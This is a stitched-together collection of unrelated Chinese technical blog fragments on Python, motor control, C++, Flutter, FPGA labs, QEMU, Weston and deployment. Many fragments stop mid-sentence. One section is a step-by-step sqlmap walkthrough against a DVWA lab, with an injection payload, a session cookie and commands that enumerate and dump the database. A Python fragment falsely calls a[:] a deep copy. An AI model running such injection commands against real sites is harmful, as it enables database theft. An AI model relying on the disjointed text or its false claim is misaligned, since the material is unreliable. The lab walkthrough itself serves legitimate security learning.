简单来讲a[:]是深复制,a是浅复制,相当于赋值a的话是赋值了指针,赋值a[:]相当于复制了a对应的那段空间
例如:
a = [1,1,1,1,1,1] for x in a: if x==1: a.remove(x) print(a) 运行结果:
remove操作是移除序列中第一个x元素。
这显然不是我们想要看到的结果,在上面这种操作中我们移除的其实是前三个元素
解决方法就是:
a = [1,1,1,1,1,1] for x in a[:]: if x==1: a.remove(x) print(a) 运行结果:
当我们使用a[:]时,我们在循环中访问的其实是a的一个副本,这个副本和a中的内容完全相同,所以我们可以在a已经修改的情况下进行remove操作。
第一章节已经推导出dq坐标系下的定子电压方程、磁链方程、电磁转矩方程和转子运动方程。这一章节就根据这四个方程来推导出电流环和转速环的PI参数整定公式。
1.电流环PI参数整定 矢量控制主要是通过控制iq来控制电磁转矩,设计电流闭环能够加快速度的动态响应和有利于系统稳定。给出电流环的传递函数图。
传递函数包括四个部分:PI、CPU部分、逆变器部分和电机部分。其中CPU部分是延迟环节,td=Ts。逆变器部分是小惯性环节,KPWM是逆变器的增益,在这里取1,Ts=1/fs,fs为逆变器的开关频率,设置为10KHz。在这里惯性环节和延迟环节可以合成简化:
最后一部分电机部分的传递函数是由这个公式而来的,由上一章节所分析,将q轴定子电压方程方程忽略动态项和耦合项之后,公式如下:
将上式进行拉普拉斯变换之后,可得:
于是电机传递函数就推导出来了。那么将上图电流环传递函数可以简化为:
学过自控的都应该知道吧,Ki=KP/Ti,Ti是时间参数,即Ti=Lq/R。那么电流环开环传递函数和闭环传递函数可以得出:
这里化成这种形式主要是方便后面跟标准二阶系统开环传递函数和闭环传递函数的公式进行比较,那么学过自控的同学都会知道,二阶系统的开环传递函数和闭环传递函数的形式是这样的:
将这个公式和上面那个公式进行比较一下,很容易就可以看出:
阻尼系数取0.707是欠阻尼振荡,效果是最好的。根据上式最终就可以推导出PI参数公式了。
电流环的PI参数整定就这么简单,下面推导下转速环的PI参数整定。
2.转速环PI参数整定 转速环里面包含有电流环在内,当外面给定转速时,系统通过控制iq来控制电磁转矩,从而电机开始转动。电机在转动的过程,传感器检测到机械角度会改变,也就是说电角度也会改变,由电角度在单位时间的变化,就可以求出电角速度,从而就可以得到反馈回来转速参与转速决策,最终可以控制转速稳定。
直接看转速环传递函数图。
转速环包含几个部分:PI部分,电流环部分,CPU部分,电磁转矩部分,转子运动部分。在研究转速环的过程中,电流环可以近似为一阶环节:
将电流环部分和CPU部分合并,td=Ts,则可化简为:
这里的TS2=4Ts。假设负载转矩TL=0,可以将转速环的传递函数图化简为:
转速环的开环传递函数,就是直接这三个部分相乘,如下:
其中Kg表达式和Ki为:
开环传递函数写成这种形式,是为了方便和三阶系统(典型II型系统)的传递函数方便比较,由自控的知识就可以知道,典型II型系统的开环传递函数的形式为:
在典型的II型系统中,定义了中频宽h,其意义是斜率-20dB/sec的中频宽度,当h=5的时候,动态跟随性能最佳,又根据“振荡指标法”中的闭环幅频特性峰值最小原则,可知K和τ的关系如下:
其中T=Ts2。对比上面三个式子,最终可以推导出转速环的PI参数整定公式为:
3.总结 在上述中,已经是用最简洁的话,最简洁的公式和图来表示了。
在电流环中,是采用二阶系统来设计。转速环采用典型II型系统来设计。经过理论分析后,永磁同步电机双环矢量控制的系统是最稳定的。在后续第三章节进行仿真验证理论分析的正确性。
更详细的讲解请关注公众号:电力电子学社
之后会陆续开放仿真模型下载喔~敬请关注!
一、准备工作
1、sqlmap为python语言开发,因此需要具备python环境。
2、python环境搭建及sqlmap下载,可参考其他文章。(很多也很全,这个不是本文重点,因此略过)
二、环境搭建
1、本人使用的是Mac、windows7虚拟机,windows7中部署DVMA
2、以DVMA的sql注入为例(DVMA安全级别为medium),进行详细介绍。
三、post请求脱库三种方法
方法1:sqlmap -r xxx.txt
利用burp抓包,保存报文为txt文件,利用sqlmap指定文本注入。
方法2:sqlmap -u "url" --forms [最简单]
sqlmap的forms参数,会自动抓取post包。从而进行注入。
方法3:sqlmap -u "url" --data "key1=value1&key2=value2&key3=value3"
指定参数,key=value形式,多参数使用&符号链接。
四、post请求脱库(方法1:需借助burpsuit)
1、访问链接“http://192.168.200.130/DVWA/vulnerabilities/sqli/” User ID下拉“1” 。(此处不在验证sql注入,直接使用sqlmap脱库)
待测试链接为“http://192.168.200.130/DVWA/vulnerabilities/sqli/”,可发现没有参数,报文信息如下,将报文另存为post.txt:
2、开始sqlmap测试,python sqlmap.py -r "/Users/***/Desktop/post.txt" --batch
(-r 指定文件路径,类似于-u指定链接一样),可发现id存在注入,如下图。
3、获取当前数据库 --current-db参数,即python sqlmap.py -r "/Users/***/Desktop/post.txt" --batch --current-db
分析出当前数据库为dvwa
4、获取当前数据库下的表 --tables参数 即python sqlmap.py -r "/Users/***/Desktop/post.txt" --batch -D dvwa --tables
(-D:指定数据库名)
可发现,运行结果后,有两个表,分别是guestbook、users
5、获取指定表的列属性 --columns参数 即:python sqlmap.py -r "/Users/***/Desktop/post.txt" --batch -D dvwa -T users --columns (-D:指定数据库名,-T:指定表名)
一、准备工作
1、sqlmap为python语言开发,因此需要具备python环境。
2、python环境搭建及sqlmap下载,可参考其他文章。(很多也很全,这个不是本文重点,因此略过)
二、环境搭建
1、本人使用的是Mac、windows7虚拟机,windows7中部署DVMA
2、以DVMA的sql注入为例(DVMA安全级别为low),进行详细介绍。
三、get请求脱库
1、访问链接“http://192.168.200.130/DVWA/vulnerabilities/sqli/” User ID输入“1' or 1=1#” ,发现存在注入,如下图。因此使用sqlmap进行拖库。待测试链接为“http://192.168.200.130/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#”
2、进入sqlmap目录,运行python sqlmap.py -u "http://192.168.200.130/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#",发现跳转到登录页面,因此需要获取cookie,以做进一步测试
3、获取cookie信息,可使用burp抓包工具,也可使用浏览器的“审查模式”等,本次cookie为{"PHPSESSID":"qvpbe3kltkk92e8ak63pjsnu2n","security":"low"}
4、添加cookie信息,继续sqlmap测试,运行python sqlmap.py -u "http://192.168.200.130/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=qvpbe3kltkk92e8ak63pjsnu2n;security=low",可发现id存在注入,同时得到数据库类型为Mysql等信息
5、获取当前数据库 --current-db参数,即python sqlmap.py -u "http://192.168.200.130/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=qvpbe3kltkk92e8ak63pjsnu2n;security=low" --batch --current-db
分析出当前数据库为dvwa
6、获取当前数据库下的表 --tables参数 即python sqlmap.py -u "http://192.168.200.130/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=qvpbe3kltkk92e8ak63pjsnu2n;security=low" --batch -D dvwa --tables
(-D:指定数据库名)
可发现,运行结果后,有两个表,分别是guestbook、users
7、获取指定表的列属性 --columns参数 即:python sqlmap.py -u "http://192.168.200.130/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=qvpbe3kltkk92e8ak63pjsnu2n;security=low" --batch -D dvwa -T users --columns
(-D:指定数据库名,-T:指定表名)
运行结果后,存在8个列属性,如下图所示。
8、正式拖库 --dump参数,即python sqlmap.py -u "http://192.168.200.130/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "
卸载程序,安装10.5即可避免。
最近学习了二叉树的一点知识,感觉数据结构真的很难啊,所以学习过程中的笔记还是要记录一下。
文章目录 一、二叉树二、实现代码三、运行效果四、小结 一、二叉树 在我们使用的数据结构中,一对一的线性结构是我们经常所使用到的,但是现实中却有着许多一对多的情况,这也就产生了“树”这一概念。二叉树则是“树”这一概念中的一种特殊情况,其定义为:“是n(n>=0)个结点的有限集合。该集合或者为空集(称为空二叉树)。或者由一个根结点和两棵互不相交的、分别称为根结点的左子树和右子树的二叉树组成。”
二叉树的特点:
(1)每个节点最多有两个子树,所以二叉树的节点的度均小于等于2。
(2)左子树和右子树是有顺序的,千万不能对其进行任意颠倒。
…(其特点还有很多,就不一一叙述了)
总的来说,如果说我之前使用的vector和list是一维结构的话,那二叉树就是二维结构。
二、实现代码 Node.h
#ifndef _NODE_ #define _NODE_ #include<string> using namespace std; class Node { public: string data; Node* lchild=nullptr; Node* rchild=nullptr; Node(string); ~Node(); }; #endif // _NODE_ Node.cpp
#include "Node.h" Node::Node(string data) :data(data) { } Node::~Node() { } BinaryTree.h
#ifndef _BINATYTREE_ #define _BINATYTREE_ #include"Node.h" #include<queue> #include<iostream> using namespace std; class BinaryTree { public: Node* root = nullptr; BinaryTree(); void Add(string data); //添加节点,创建二叉树使用层次遍历 void PreOrder(const Node* node); //先序遍历 void InOrder(const Node* node); //中序遍历 void PostOrder(const Node* node); //后序遍历 ~BinaryTree(); //销毁二叉树 private: void DestoryBinaryTree(Node *tree); }; #endif // !
注意:无特殊说明,Flutter版本及Dart版本如下:
Flutter版本: 1.12.13+hotfix.5Dart版本: 2.7.0 showDialog showDialog 用于弹出Material风格对话框,基本用法如下:
showDialog( context: context, builder: (context) { return AlertDialog( ... ); } ); 效果如下:
builder通常返回Dialog组件,比如SimpleDialog和AlertDialog。
useRootNavigator参数用于确定是否将对话框推送到给定“context”最远或最接近的Navigator。默认情况下,useRootNavigator为“true”,被推送到根Navigator。如果应用程序有多个Navigator,关闭对话框需要使用
Navigator.of(context, rootNavigator: true).pop(result) 而不是
Navigator.pop(context, result) barrierDismissible参数确认点击提示框外部区域时是否弹出提示框,默认true。
showCupertinoDialog showCupertinoDialog 用于弹出ios风格对话框,基本用法如下:
showCupertinoDialog( context: context, builder: (context) { return CupertinoAlertDialog( ... ); }); 效果如下:
builder通常返回CupertinoDialog或者CupertinoAlertDialog。
showGeneralDialog 如果上面2种提示框不满足你的需求,还可以使用showGeneralDialog自定义提示框,事实上,showDialog和showCupertinoDialog也是通过showGeneralDialog实现的,基本用法如下:
showGeneralDialog( context: context, barrierDismissible:true, barrierLabel: '', transitionDuration: Duration(milliseconds: 200), pageBuilder: (BuildContext context, Animation<double> animation, Animation<double> secondaryAnimation) { return Center( child: Container( height: 300, width: 250, color: Colors.
模态分析目的是获得固有频率、模态振型、振型参与系数、有效质量
模态分析是动力学的基础分析,谐响应分析的前提是进行模态分析。
什么是固有频率呢?共振频率呢?
比如一个单摆做好后,他的振动频率等于2Pi(l/g)^(1/2),l是单摆的长度,g是重力加速度,所以这个单摆的振幅无论多大,加在下面的东西多重,只要是没有外界的干扰,都以一个频率振动(固有频率)而当我们用一个周期的力推这个单摆时,会发现,单摆的振幅是和这个力的频率有关的,只有这个力的频率和单摆的固有频率相同时,振幅才最大,而这时就发生了共振现象。(共振频率)
关于阶数:每个物体都有自己的共振频率,而且还有不止一个共振频率。可能十几Hz的时候会发生共振,几百Hz的时候又会发生共振。如果进行模态分析,就是说把这个物体的共振频率都找出来。如果把这些共振频率都按照频率值从小到大排,就是“阶”。
下面两幅图片是五个小块在相同质量不同刚度下的固有频率计算分析。
第一个图片里面的公式是计算固有频率的,是为了和第二幅图片的ansys分析的固有频率做一个比较。
链接:https://baijiahao.baidu.com/s?id=1640179492685093162&wfr=spider&for=pc
一、日志(2019.3.4完成) 1.1、3位数码管实验下载: 在下载时首先要查看芯片的状态,是否与实际芯片相符,通过assignment->device进行查看,由于我的板子是cyclone||-ep2c5t144c8,便设置。如果不设置的话,在下载的过程中会报错,提示板子的型号不正确。
选好板子后再通过assignment->pins进行针脚设置。之后再进行全编译,为processing->compiler tool进行全编译。之后通过tools->programmer进行下载,注意驱动设置为USB,选择正确的sof文件。下载后的结果如图所示
实际上在实际中是一种频闪的状态,这是由于clk3的时钟信号的频率只有1Khz,已经可以产生视觉暂留。可以通过下方的拨码开关对显示数值进行调整,拨码开关每四位一组,满足“8421”。修改左上方的时钟信号的档位可以对时钟信号的频率进行微调,发现是进行频闪,且顺序为从左到右依次闪烁。
1.2、示波器测量位选信号和时钟信号: 时钟信号:
其中的黄色是时钟信号,可以看出时钟信号是一个十分规整的方波,占空比大约为50%,频率为1.00002KHZ,这与时钟信号的特性有关。
位选信号:
可以看出位选信号也是一个方波,但占空比不一定为50%,而是60%,这是因为我们这里是三个数码管循环显示,在计数器的时候产生的是0,1,2,3,其比值为2:1:1:1,其中0表示了一个数码管,1表示了一个数码管,2,3共同表示了一个数码管,导致最终的三个数码管的时间之比为2:1:2。其频率为200.005HZ
二、报告 2.1、实验目的: 实验目的是熟悉quartus||的数字系统设计流程,DDA系列数字系统实验平台的使用,图形输入、文本输入(硬件描述语言)、层次设计的过程,三位数码管的使用方法、代码编写和针脚设计,以及图形输入的注意事项和画图技巧。
我的实验资源是一台基于windows 10 专业版的联想拯救者r700电脑,一块装有cyclone||-ep2c5t144c8的DDA数字系统实验平台,以及quartus||配套软件
2.2、设计 2.2.1、模4计数器电路图:
如图所示,即为一个模4计数器,其中由于仅仅是用来计数,所以a~d不需要输入,而由于是用来进行连续的输出,所以直接将两个使能端ent和enp设置为vcc高电平,使其永远成立。而qa和qb是输出端,其中qa是低位,qb是高位,并进行输出。取nand后当且仅当两者全为1的时候会输出0,而当他输出0的时候发生器dff会产生一个时钟周期的停留,所以展示出来的结果就是数字0占据了两个时钟周期,而1,2,3都只占据了一个时钟周期。如图所示:
2.2.2、模4计数器下载:
首先设置阵脚(由于之前芯片已经设置好了,所以不需要进行额外的更改),这里为了可以直观显示,将始终的阵脚设置为91,将输出的阵脚设置为二极管118~115,然后进行全编译,再进行下载,下载结果为:
可以看出在设置时钟信号为最低档的时候,可以很明显的看到二极管118和115在交替闪烁,闪烁的规律大致为00(全灭)->01->10->11(全亮),并且00的时间明显要长于其他情况。此现象和仿真的结果相吻合,所以证明电路行为正确,并得出结论:74161模块是一个计数模块,通过clrn端口进行置零,并进行计数,最高可以达到15。
2.2.3、比较仿真验证与下载验证:
仿真验证有时序仿真和功能仿真两种,功能仿真是在忽略了所有的延迟之后进行的仿真,仅仅用来考察功能是否正确;时序仿真添加上了延迟。实际上在我们的实验过程中功能仿真已经足够我们进行观察是否正常。
下载验证是将所写好的mof文件通过USB接口下载到板子上,然后板子开始运行程序,通过观察板子上出现的现行,比方说二极管发光,数码管显示等来变相观察代码是否正确。
总的来说,一般先进行仿真验证再进行下载验证,一方面是因为通过仿真波形图可以比实际下载更轻松更直接的找出可能出现的错误;另一方面是因为如果程序本身出现了结果上的问题,直接下载到板子上可能会导致板子出现错误,发生损坏等。
2.3、实现 2.3.1、顶层电路
可以看出整个电路大致是通过四个模块组成,左上角的是一个counter4模块,即上文的模4计数器;右上角的是一个2-3译码器,将模4计数器产生的两位信号进行译码,译码成一个三位的信号用来控制三个位选信号,以此来控制三个数码管进行显示;左下角是一个4-3-1模块,是自己写出来用来通过拨码开关对数码管上的显示数字进行控制的模块,其产生的数据dout将会传给右下角的模块;右下角的模块式一个7449芯片,用来进行4-7的BCD译码,以此来对段选信号进行控制,通过从ABCD输入的一个四位二进制数,对其进行编译解码,是之可以在数码管上进行显示,比方说数字0展示在数码管上就要求段选信号a~g的值是1111110。
2.3.2下载
结果如图:
注意我在这里进行了修改,由于时钟信号clk4的频率太低,在使用时会出现频闪的情况,所以我使用了clk3,即针脚89代替了针脚91的clk4,通过此方法来得到一个不会发生可视频闪的三位数码管展示。以下为输入0~f时的符号显示结果
输入数值译码情况(段选信号)0(0000)11111101(0001)01100002(0010)11011013(0011)11110014(0100)01100115(0101)10110116(0110)00111117(0111)11100008(1000)11111119(1001)1110011a(1010)0001101b(1011)0011001c(1100)0100011d(1101)1001011e(1110)0001111f(1111)0000000 这里可以很明显的看出,在quartus2里面的7449芯片不能完全处理0-f的所有情况,所以需要在下面对电路图进行改进,需要改进显示6,9以及a-f的情况,在这里我通过设置新的模块来达到优化的目的。
2.3.3优化
由于需要在不删除7449芯片的时候进行优化,所以想到可以自己新建两个模块,一个模块是将判断是否可以使用7449芯片,另一个是在7449芯片不能使用的时候进行补充替换,后来在实际制作的过程中发现实际上两个模块可以进行合并。由此先得到6,9以及a~f的段选信号表示:
输入数值段选信号值6(0110)10111119(1001)1111011a(1010)1110111b(1011)0011111c(1100)1001110d(1101)0111101e(1110)1001111f(1111)1000111 经过优化后最终电路图如下:
其中新加模块if_else为:
这里是通过直接加入一个if_else模块,当d(数据)的值不是6,9,af的时候,就直接输出输入的数据,将数据导入到7449模块中进行译码;而如果满足6,9,af的时候,就直接在该模块中进行译码。同时输出一个dd判断信号,用来判断是通过那个模块得到的数值,再通过该判断信号对三态门进行控制,将两个模块所得到的值进行汇总融合便可以达到0~f全显示的目的。最终结果如下:
仿真结果为:
由于针脚没有改变,所以不需要重新设定针脚的值,芯片与阵脚保持不变,直接全编译
通过下载的结果可知,符合仿真结果,实验正确
三、总结 3.1、学到的知识点: 学习到了对数码管的使用方法,以及段选信号和位选信号的作用究竟是什么。可以自己使用数码管进行简单的编译和制造调用,为以后的多种输出,输出数量超过了板子所能承受的最大数量的时候,可以通过数码管进行结果展示。还熟悉了下载的方法。
3.2、掌握的技能: 数码管的简单使用——跑马灯
这是我在闲暇之余帮同学做的一个生日礼物,本来想通过数码管来显示“birthday”这个单词,后来发现实在是太麻烦了,所以没有办法,就设计成了简单的跑马灯,并且可以通过拨码开关来设置数值,也算是加深一下自己对板子的理解。
这个的原理实际上是通过对段选信号和位选信号的使用。首先我这里通过一个计数器来对时钟进行分组,将八个时钟分为一组,分别对应八位数码管中的每一位,使每个周期只有一个数码管点亮。通过拨码开关输入数值,由于拨码开关总共只有十六位,所以每四位拨码开关对应两个数码管。通过一个BCD码3-8译码器,对输入进行译码,转换成段选信号,注意之所以八位,因为段选信号本身就是八位,除了常见的a~g之外还有一个h用来控制每两位数码管之间的小数点,也要进行设置避免出错。通过三态门对输入、输出进行控制。最终每个时钟只有一组段选信号传播到输出端,只有一个数码管会进行显示。
最后在实验的时候出现了一点问题(对0~f的设置不是很正确,而且由于我一开始的初衷是写出来一个显示“birthday”的跑马灯,所以很多字母需要自己设置),但最终还是实现了birthday的跑马灯展示,如图所示:
3.3、人文: 还是要尽量少熬夜,虽然这篇报告的初稿是我在接到任务后的当天晚上写出来的,一直写到了凌晨四点,或者说第二天的早晨四点,但感觉还是要减少熬夜的次数,毕竟身体才是本钱,为了学习这么拼命容易得不偿失的。
3.4、记忆: 表格型:如上面我多次运用了表格的方法,对输入的可能情况进行设定以及整合,并对输出进行书写与描述,最终得到了一个输入与输出的对应表格,通过这个表格,我在编写代码的时候就少走了很多的弯路,感觉优点很多。
树形:在本篇报告中树形其实并没有体现太多,但在我的电脑中体现的很丰富。由于这次实验时间跨度长,实验知识点多,所以需要记录的实验结果也很多;而我就在每次实验之后直接进行分门别类的放置和存储,并形成了一个相互嵌套的树形结构,这样在我这次编写实验报告的时候我可以很轻易的找到我所需要的实验记录,实验结果在哪里,为我撰写实验报告提供了很大的便利。
很久没有写博客了,今天写文章,又遇到投影问题。记得这个问题我曾在前年的一篇博客中提及,投影问题会让很多GISer头痛的问题,有时候明明定义了一样的投影,就是不重合,这个我之前的博客已经说过了,这里就不说了。今天遇到的这个问题是,我的多期土地利用数据和气温和降水多叠加分析,分区统计制表的时候,2015最后一期数据的分区统计结果总是和前面的对不上,在GIS中,我的土地利用现状图和气温降水栅格数据都是在同一位置,前几年的都没问题,唯独2015年数据位置重合却总是统计结果不对,后来查看发现,没有定义投影,这种和之前讲的不一样,之前博客讲的是同一地方的不同数据,位置对不上。而今天讲的是同一地点,同一位置,叠加分析,结果不对,这时候就要找准一个已知投影的数据,我这里选的是Krasovsky_1940_Albers,这样修改后,就是位置和投影都一致,在进行计算,问题就解决啦。有其他问题的小伙伴欢迎交流。说的不对的地方,还请大家指教
由于最近需要使用qemu的宿主机-客户机 串口映射功能(但还未找到合适方式),便开始学习这部分代码
首先,搭建vscode debug 环境:
打开qemu源码路径,创建./bin/debug/文件路径并进入配置并编译 ../../configure --target-list=x86_64-softmmu --enable-kvm --disable-sdl --enable-linux-aio --enable-debug --enable-debug-info make -j4 替换 项目路径下的.vscode 下的 launch.json ,内容如下: { // Use IntelliSense to learn about possible attributes. // Hover to view descriptions of existing attributes. // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 "version": "0.2.0", "configurations": [ { "name": "qemu", "type": "cppdbg", "request": "launch", "program": "${workspaceFolder}/bin/debug/x86_64-softmmu/qemu-system-x86_64", "args": [ "-boot", //-boot c 启动第一个硬盘 "c", "-drive", "file=./debian_squeeze_amd64_standard.qcow2,if=virtio", //-drive file=debian_squeeze_amd64_standard.qcow2,if=virtio //指定硬盘镜像为debian_squeeze_amd64_standard.qcow2, //同时指定此硬盘的接入方式,即virtio,virtio是基于kvm实现的,因此需要开启kvm "
题目描述
Given are a sequence of N positive integers A1,A2,…,AN, and a positive integer K.
Find the number of non-empty contiguous subsequences in A such that the remainder when dividing the sum of its elements by K is equal to the number of its elements. We consider two subsequences different if they are taken from different positions, even if they are equal sequences.
Constraints
·All values in input are integers.
前言 本文简单介绍 Weston 常用的几种 backend 启动方式。目前最新的 Weston 8.0.0 支持如下几种 backend:
drm-backendfbdev-backendheadless-backendrdp-backendwayland-backendx11-backend 其中 headless-backend 不带任何 UI 界面,主要用于 weston 自测试,rdp-backend 则用于远程桌面。这两个 backend 本文不做介绍。
运行环境:
Ubuntu: 16.04Weston: 1.9.0 操作提示:
Ctrl+Alt+F2 返回图形界面(GDM3,Ubuntu18.04)Ctrl+Alt+F7 返回图形界面(lightDM, Ubuntu16.04)Ctrl+Alt+Backspace 退出Weston界面 drm-backend 操作步骤:
Ctrl+Alt+F4 切换到虚拟终端;weston weston 默认使用 drm 作为后端,因此运行时不需要附带任何参数。该模式下,Wayland 输出界面直接通过 /dev/dri/card0 节点来显示。渲染方式支持 Pixman (CPU 软绘)和 OpenGL/ES (GPU 硬件渲染)。
fbdev-backend 操作步骤:
sudo usermod -a -G video hexaolong2008,将当前账号添加到video组(否则将提示权限错误,因为 /dev/fb0 属于 video 组)rebootCtrl+Alt+F4 切换到虚拟终端weston --backend=fbdev-backend.so 该模式下,Wayland 输出界面通过 /dev/fb0 节点来显示,但不支持 OpenGL 硬件加速,因此只能使用 pixman 做 CPU 纯软绘操作,界面会比较卡顿。
关于siazeof(a)、strlen(a)、a.length()、a.size() **sizeof()**返回一个对象或者类型所占的内存字节数(获取内存空间的大小)
适用范围:(1)字符串(2)字符、整型等各种数组,(3)int、flooat类型占的字节数
记住头文件是cstring,string不可以
strlen只能够计算字符串的长度,其他数组不可以
适用范围:(1)字符串%s(2)字符数组
注意:计算长度不包括“\0”,遇到就停止
记住头文件是cstring,string不可以
**a.length()**计算字符串(string)变量的函数 ,字符数组不可以 ,计算长度也不包括“\0”
适用范围:(1)字符串%s或者sring
注意:计算长度不包括“\0”
a.size()是string类定义的一个返回字符串大小的函数。
获取字符串长度时与length()函数作用同
适用范围:
字符串%s或者sringvector类型的长度数组不可以 #include<iostream> #include<cstdio> #include<cmath> #include<algorithm> #include<cstring> using namespace std; int main(){ int a[]={1,2,3,4,5}; char b[]="hello123" ; string c="hello123" ; int len=sizeof(a)/sizeof(a[0]); printf("计算整型数组int a[]={1,2,3,4,5}:\n"); printf("sizeof(a[0])计算整型数组a第一个字符所占内存大小:%d\n",sizeof(a[0])); printf("sizeof(a)计算整个整型数组a所占内存大小(int 4):%d\n",sizeof(a)); printf("sizeof(a)/sizeof(a[0])计算整型数组a的元素个数为:%d\n",len); printf("----------------------------------------------------------------------------\n"); printf("计算整型数组char b[]=“hello123” :\n"); printf("sizeof(b[0])计算字符数组b 第一个字符所占内存大小为:%d\n",sizeof(b[0])); printf("sizeof(b)计算整个字符数组内存大小(char 1 +“0”):%d\n",sizeof(b)); printf("strlen(b)计算整个字符数组的长度(char 1 无“0”):%d\n",strlen(b));//cstring printf("----------------------------------------------------------------------------\n"); printf("计算字符串string c=“hello123” :\n"); printf("sizeof(c[0])计算字符串第一个字符所占内存大小:%d\n",sizeof(c[0])); printf("sizeof(c)计算整个字符串长度所占内存大小:%d\n",sizeof(c)); printf("c.length()计算字符串长度,不可字符数组( 无“0”):%d\n",c.length()); printf("c.size() 计算字符串长度,不可字符数组( 无“0”):%d\n",c.size()); return 0; }
前后端分离开发项目部署 环境一、前后端不分离部署1、前端项目运行`npm run build`命令进行打包2、打包完成之后在项目目录下会生成一个名为:dist 的文件夹!3、把 dist 文件下的东西全部复制到后端项目 static 文件夹下4、后端项目编译打包5、把生成的`jar`上传你的服务器6、这是已经启动成功了,在你的浏览器访问测试 二、使用 Nginx 前后端分离部署1、上传编译后的项目至服务器2、配置nginx3、重启nginx并测试 环境 前端开发工具:WebStorm vue+element
后端开发工具:IDEA spring boot
部署环境:阿里云Linux CentOS7
一、前后端不分离部署 1、前端项目运行npm run build命令进行打包 npm run build 打包命令回运行一段时间,请等待!
2、打包完成之后在项目目录下会生成一个名为:dist 的文件夹! dist 文件夹就是前端编译打包后的文件!
3、把 dist 文件下的东西全部复制到后端项目 static 文件夹下 4、后端项目编译打包 在编译打包之前一定要检查application.yml配置文件数据库配置的端口号是否正确:
由于我这里用的阿里云服务器,所以我这里写的是阿里云的公网IP地址;
现在进项后端打包:
IDEA右侧选择Maven,打开主项目点击Lifecycle下的package进行编译打包
打包完成之后在你的项目目录下会生成一个target文件夹,此文件夹就是你编译打包过后生成的jar所在目录
5、把生成的jar上传你的服务器 上传工具有很多我这里用的Xshell
我把文件上传到了/home/soonDeploy文件夹下
mkdir soonDeploy 创建一个叫做 'soonDeploy' 的目录' 启动jar:
nohup java -jar 你的jar名 & 比如我的:
nohup java -jar soon-web-0.0.1-SNAPSHOT.jar & 当然我这里并没有输出日志文件,如果有需要可以自己输出一下
6、这是已经启动成功了,在你的浏览器访问测试 你的IP:8081/index.html 在这里我的后端项目端口是8081,你要写你自己的端口号 在阿里云部署的小伙伴在第一次访问的时候有可能会失败,这是因为你没有在你的安全规则组里面配置此端口,配置规则组方法如下:
添加你自己的端口
欢迎访问我的个人博客,传送门。 前言 前天无意在b站看到up主CodeSheep上传的博客搭建教程,引起了我这个有需求但苦于没学过什么博客框架的小白的兴趣。于是花了两天时间终于终于把自己的博客搭建好了,踩了无数的坑,走偏了无数的路,百度(谷歌)了无数次,但真的很有成就感。
注意:Hexo是个很成熟(使用人数多)的博客框架,你遇到的问题别人基本都能遇到,沉住气总能找到解决方法。
说明 1、为了避免以后再搭建的时候踩到这些坑,并且我也有写博客的习惯,决定把教程和问题的解决方法总结在以后的四篇文章中,等文章发布后链接会在下面给出。
2、我是在ubuntu18.04上搭建的Hexo博客框架使用了Butterfly开发版主题。
点击访问:XJHui'S BLOG
注意:仅将功能配置好了,具体信息和背景图片暂未修改,写完博客就会去完善。
推荐:Hexo 好看的主题推荐 (这篇博客有很多基于Hexo博客框架好看的主题,我也是在这遇到了Butterfly主题)
3、电脑装了win和ubuntu的双系统,搭建过程中遇到的很多错误都是在配置的时候但也没有留下截图,写博客肯定要复现错误,可不想重装系统,就只能在win上装ubuntu虚拟机(清空GitHub仓库,但我备份了)。
教程、问题解决方法: 第一篇:Ubuntu18.04下使用Hexo框架搭建个人博客(已发布)
第二篇: 给博客使用Butterfly主题并部署到GitHub服务器(已发布)
第三篇: 短短1天我学会了如何修改Butterfly的配置文件(已发布)
第四篇:图床搭建以及图床工具的使用(已发布)
感谢: Hexo Butterfly Shawn's Blog(中途想放弃,看到他(她)的博客效果有了希望、坚持下去)
题意:
从1-m种选n个数出来,组成一个数组要满足一下三个条件
1.1<=ai<=m
2.恰好有一对元素相等
3.aj<aj+1 if j<i 且 aj>aj+1 if j>=i
问存在多少种这种组合
解析:
第一步: 我们要从m个数种选出n-1个(因为存在一对元素相同)C(m,n-1)
第二步: 假设最大值在i这个位置上,我们要把那一对相同的元素放到最大值两边取。那么i的左边要从n-2 (除去最大值) 个数中取i-2个(因为存在一对相同的在i的右边出现过,左边自然出现)所以只要取i-2个数,也就是C(n-2,i-2),那么右边自然有(n-i)个数。
组合公式就是:C(m,n-1)*C(n-2,i-2) * (n-i)
第三步: 枚举最大值的位置 2~n-1
#include<bits/stdc++.h> using namespace std; typedef long long ll; const int N=2e5+1000; const int MOD=998244353; ll fact[N]; int n,m; void init() { fact[0]=1; for(int i=1;i<=N;i++) fact[i]=(fact[i-1]*i)%MOD; } ll quick(ll a,ll b) { ll res=1; while(b) { if(b&1) res=res*a%MOD; a=a*a%MOD; b>>=1; } return res; } ll C(int a,int b) { return fact[a]*quick(fact[b]*fact[a-b]%MOD,MOD-2)%MOD; } int main() { init(); scanf("
安装Ubuntu时会要求填写如下图的信息:
感谢:苏守坤
注意:上面的博客讲述了各自的具体含义,本篇博客只是说明这些名称在系统安装后会出现的位置。
最近做人脸识别找了好久才在一个代码的角落里找到ORL的数据集,(贫穷使我不愿意花钱下载),上传到百度网盘了,分享给和我一样贫穷的朋友,祝大家早日有钱!
链接:https://pan.baidu.com/s/178K357kYHhaJnYGyGI76Rg
提取码:o6e0